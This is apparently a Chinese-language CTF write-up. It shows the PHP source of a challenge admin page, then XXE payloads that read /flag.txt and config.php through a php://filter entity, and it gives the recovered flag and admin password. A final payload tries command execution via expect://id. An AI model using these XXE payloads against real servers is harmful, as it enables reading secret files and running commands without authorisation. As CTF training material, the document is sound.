1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 <?php session_start ();include 'config.php' ;$error = "" ;$flag = "" ;if ($_SERVER ["REQUEST_METHOD" ] == "POST" ) { if (isset ($_POST ['username' ]) && isset ($_POST ['password' ])) { if ($_POST ['username' ] === $ADMIN_USERNAME && $_POST ['password' ] === $ADMIN_PASSWORD ) { $_SESSION ['loggedin' ] = true ; $_SESSION ['username' ] = $ADMIN_USERNAME ; } else { $error = "Invalid credentials." ; } } }if (isset ($_GET ['action' ]) && $_GET ['action' ] === 'logout' ) { session_destroy (); header ("Location: admin.php" ); exit ; }if (isset ($_SESSION ['loggedin' ]) && $_SESSION ['loggedin' ] === true ) { if (file_exists ('/flag.txt' )) { $flag = file_get_contents ('/flag.txt' ); } else { $flag = "flag{test_flag_placeholder}" ; } }?> <!DOCTYPE html> <html lang="en" > <head> <meta charset="UTF-8" > <title>Le Canard du Lac | Admin Area</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet" > <link href="https://fonts.googleapis.com/css2?family=Press+Start+2P&family=Roboto+Mono:wght@400;700&display=swap" rel="stylesheet" > <link href="static/lake-theme.css" rel="stylesheet" > <link href="static/custom.css" rel="stylesheet" > </head> <body> <?php include ("include/navigation-bar.php" ); ?> <header class ="py -5 bg -light border -bottom mb -4"> <div class ="container "> <div class ="text -center my -5"> <h1 class ="fw -bolder ">Editor 's Area </h1 > </div > </div > </header > <div class ="container "> <div class ="row justify -content -center "> <div class ="col -md -6"> <div class ="card my -4"> <div class ="card -body "> <?php if (isset ($_SESSION ['loggedin ']) && $_SESSION ['loggedin '] === true ): ?> <div class ="alert alert -success "> <h4 class ="alert -heading ">Welcome , <?php echo htmlspecialchars ($_SESSION ['username ']); ?>!</h4 > <p >Here is the secret you were looking for :</p > <hr > <p class ="mb -0 font -monospace fw -bold "><?php echo htmlspecialchars ($flag ); ?></p > </div > <a href ="admin .php ?action =logout " class ="btn btn -danger ">Logout </a > <?php else : ?> <p >Restricted area for editors only .</p > <?php if (!empty ($error )): ?> <div class ="alert alert -danger "><?php echo $error ; ?></div > <?php endif ; ?> <form action ="<?php echo htmlspecialchars ($_SERVER ["PHP_SELF "]); ?>" method ="post "> <div class ="form -group mb -3"> <label >Username </label > <input type ="text " name ="username " class ="form -control "> </div > <div class ="form -group mb -3"> <label >Password </label > <input type ="password " name ="password " class ="form -control "> </div > <div class ="form -group mt -3"> <input type ="submit " class ="btn btn -primary " value ="Login "> </div > </form > <?php endif ; ?> </div > </div > </div > </div > </div > <script src ="https ://cdn .jsdelivr .net /npm /bootstrap @5.3.0/dist /js /bootstrap .bundle .min .js "></script > </body > </html >
在这里找到flag影子了。
可以直接读flag.txt:
1 2 3 4 5 6 7 8 9 10 11 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE rss [ <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/flag.txt" > ]> <rss version ="2.0" > <channel > <title > &xxe; </title > <link > https://www.w3schools.com</link > <description > Free web building tutorials</description > </channel > </rss >
得到flag:EPFL{l4k3_LEMAN_myster1es_@_epfl!}
也可以直接读config.php拿到账号密码:
1 2 3 4 5 6 7 <?php $ADMIN_USERNAME = 'admin' ;$ADMIN_PASSWORD = 'Sup3rS3cr3tP4ssw0rd_L4k3_M4g1c!' ; ?>
XXE还可以触发命令行的(需要安装expect,这个需要手动配置,大部分情况不可行(比如这题))
1 2 3 4 5 6 7 8 9 10 11 12 13 <?xml version="1.0" ?> <!DOCTYPE GVI [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "expect://id" > ]><catalog > <core id ="test101" > <author > John, Doe</author > <title > I love XML</title > <category > Computers</category > <price > 9.99</price > <date > 2018-10-01</date > <description > &xxe; </description > </core > </catalog >